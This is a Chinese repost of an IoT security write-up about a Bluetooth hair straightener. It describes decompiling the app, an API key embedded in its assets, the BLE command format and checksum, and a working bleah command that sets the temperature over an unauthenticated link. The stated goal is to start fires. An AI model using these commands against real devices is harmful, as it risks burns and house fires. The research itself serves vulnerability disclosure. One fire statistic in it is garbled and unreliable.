物理黑客:点燃你的直发器

2019-08-02 约 189 字 预计阅读 1 分钟

声明:本文 【物理黑客:点燃你的直发器】 由作者 Hulk 于 2019-08-02 09:08:00 首发 先知社区 曾经 浏览数 119 次

感谢 Hulk 的辛苦付出!

前言

这些年我们一直在尝试通过黑客技术“点燃”一些智能设备。我们很多时候只是获得了一个碳黑的壶子,仅此而已。

后来我们发现了一些智能的直发器。其中,一款名为Glamoriser牌的直发器在圣诞期间的电视节目上非常推崇;由于这款直发器可以通过蓝牙连接到手机APP,于是我对它产生了一些兴趣。

在设备开机状态,你可以设置温度和烫发时间。

这款直发器的最高温度可超过纸张燃点(233C/451F)。考虑到我们狂热的想法,它是一个最佳的目标。英国一家消防部门组织的一项在线调查显示,直发器在全英引起多达65万起房屋的火灾。 这意味超过三分之一的使用者烫伤了自己!

我们可以黑掉它们来引发火灾?答案是肯定的!

移动App

这是这款很简单的App,有温度控制和定时功能。

Googleplay Store: https://play.google.com/store/apps/details?id=com.fenda.diva

APK文件没有做太多混淆,可以反编译出大部分应用代码。这点方便我们稍后寻找某些特定代码。

这个应用直接与Alexa(女性语音助手)和AWS服务连接。下图中 “Assets”文件夹中存储了一个通用API密钥:

api_key.txt文件其实是一个JWT(Java Web Token)。

此应用还启用了备份:

蓝牙

用BT4 dongle和BLEAH连接,我们可以更详细地看到设备情况:

该设备通用名称为“Bluetooth Styler”,其中“Peripheral Privacy Flag”(周边隐私标志)串口被默认关闭,我们可以设置为“WRITE”然后转接到0015句柄...

OK,让我们来看一看代码。

观察这个应用是如何调用BLE(蓝牙低功耗)控制器,我们可以看到所有实际都被记录到LOG中:

全局搜索代码文件,我们可以找到通信状态下的BLE UUID:

BES_DATA_CHARACTERISTIC_TX_UUID是之前写入的特性(characteristic)。

从下面代码可以看到应用处理BLE指令的方法:

命令是由不同部分的代码组合而成的:

CheckSum类中计算值方法如下:

现在我们搞清楚了如何发送BLE蓝牙指令,让我们尝试实践。查看手机SD卡,发现应用创建大量文件和文件夹:

其中,Log.txt文件中记载了BLE连接的详细情况:

2019-02-12 12:43:44V<BleService>---onConnectionStateChanged connected = false
2019-02-12 12:43:44V<BleService>---isHumanDisconnect = false
2019-02-12 12:43:44V<BleService>---quickyDisconnectCount = 0
2019-02-12 12:43:44V<BleService>---totalReconnectCount = 1
2019-02-12 12:43:44V<BleService>---totalReconnectCount < 10  and equels  =   1
2019-02-12 12:43:44V<BleService>---totalReconnectCount < 5 and reconnect after 500
2019-02-12 12:43:44V<BleService>---handleMessage msg.what == RECONNECT  reconnectMAC= F0:13:C3:00:4B:8C
2019-02-12 12:43:44V<BleService>---onConnectionStateChanged connected = true
2019-02-12 12:43:45V<BleService>---onConnectionStateChanged handle discoverServices
2019-02-12 12:43:45V<BleService>---onServicesDiscovered() + status = 0
2019-02-12 12:43:45V<BleService>---onCharacteristicNotifyEnabled() + status = 0
2019-02-12 12:43:45V<BleService>---READY TO SEND DATA IS = 54,45,eb,50,c8,00,05,f8,
2019-02-12 12:43:45V<BleService>---READY TO SEND DATA IS WRITH TO HAL RET IS  = true
2019-02-12 12:43:45V<BleService>---onWritten() + status = 0
2019-02-12 12:43:45V<BleService>---onReceive BES_DATA_CHARACTERISTIC_RX_UUID
2019-02-12 12:43:45V<BleService>---onReceive 54,45,f8,

从该日志文件中我们可以看到设备发送确认传输命令,确认已接收到命令并执行操作。更改手机应用上的某些值,然后再查看日志文件,我们可以看出发送的数据:

54,45,eb,50,50,00,05,70, 5 mins 80 °C
54,45,eb,50,5a,00,05,66  5 mins 90 °C
54,45,eb,50,64,00,05,5c, 5 mins 100 °C
54,45,eb,50,96,00,05,2a  5 mins 150 °C
54,45,eb,50,c8,00,05,f8  5 mins 200 °C

现在我们可以尝试控制直发器,但是我们先要计算更改发送值后,经过checksum方法会变成什么。为此我们写了一段Java 脚本:

通过这段Java 代码,我们可以计算出Checksum,并且打印出我们需要发送的代码。

还有重要的一点是,设备和手机间没有任何BLE验证。只要应用处于开启状态,数据可以直接发送给设备。

bleah -b “f0:13:c3:00:4b:8c” -u “0783b03e-8535-b5a0-7140-a304f013c3ba” -d “0x5445EB50EB0014C6”

现在只要应用被打开,我们就可以发送命令给直发器,然后控制温度。

经测试,设备温度不能超过235C,但这并不重要。如果攻击者发送温度超过235C或小于50C的指令,设备将不会工作。猜测因为该区间为设备的温度界点。此外,设备运转时间不得超过20分钟。


文章链接:https://www.pentestpartners.com/security-blog/burning-down-the-house-with-iot/

关键词:[‘安全技术’, ‘IoT安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now